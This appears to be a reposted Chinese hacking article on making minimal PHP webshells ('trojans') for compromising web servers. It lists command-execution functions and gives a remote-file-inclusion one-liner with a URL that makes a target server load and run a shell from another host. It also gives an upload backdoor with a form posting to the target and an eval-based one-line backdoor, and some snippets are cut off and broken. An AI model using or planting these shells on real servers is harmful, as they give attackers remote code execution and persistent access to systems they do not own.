这里简单探讨一下几个函数可以作为木马的使用:
1. 可以运行外部命令的几个函数:system,passthru,exec,shell_exec,popen。
例:只要将$cmd);?>等保存为cmd.php及可实现运行外部命令的功能。这几个函数可以说是最早的微行php木马了,所以一般虚拟主机的设置也会将这些函数屏蔽的。
2.还记得WDB论坛的style.php的漏洞吗?我们可以利用这个做个很难被杀的小木马。如下:
<?php include($include);?>
将其保存为1.php,我们就可以调用其他不支持php服务器里的.php木马(如phpspy.php)来达到我们的目的:http://target.com/1.php? Include=http://www.xxx.com/phpspy.php
这里http://www.918x.com是不支持php的,否则将会在http://www.xxx.com这台服务器运行phpspy.php,而不是目标服务器。
3. 这个还是angel在Discuz 2.2F的攻击中给我们的一个非常好的上传木马,我没有改:
<?copy($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);?>
将其保存为up.php后,在本地提交表单:
<form ENCTYPE="multipart/form-data" ACTION="http://目标服务器/up.php" METHOD="POST"> <input NAME="MyFile" TYPE="file"> <input VALUE=" 提交 " TYPE="submit"> </form>
就可以把大个的php木马上传上去。
4. 我一直在想有没有同冰狐浪子的那个ASP一句话木马一样通过本地表单提交运行的PHP木马。终于找到了函数:eval,在PHP4中文参考手册上它的语法说明:
语法:
void eval(string code_str);
内容说明:本函数可将字符串之中的变量值代入,通常用在处理数据库的资料上。参数 code_str 为欲处理的字符串。值得注意的是待处理的字符串要符合 PHP 的字符串格式,同时在结尾处要有分号。使用本函数处理后的字符串会沿续到 PHP 程序结束。
我们可以在目标主机上保存:$cmd);?>为一个PHP文件(我想也可以插在PHP任意文件里)。然后通过本地提交来达到目的,但与ASP不同的是,在magic_quotes_gpc = on的时候,过滤的很多的字符,使得这个使用功能大大的缩小。
对于这个PHP木马本地表单我做了很多次,还没有成熟的代码。还请高手指教。写好后会奉献给大家的。但是eval这个函数可以做微型PHP木马是无须质疑的。
PS:写完后,有人告诉我,其实高手早就有微型的PHP木马了,只是没有公开。哎,我好郁闷啊,研究的都是人家早就有了的成果。不管怎么样,和大家分享一下我的研究,希望能得到帮助和指教。
转载地址::http://www.netsp.com.cn/Article/netsafe/heike/200611/20061104221222.html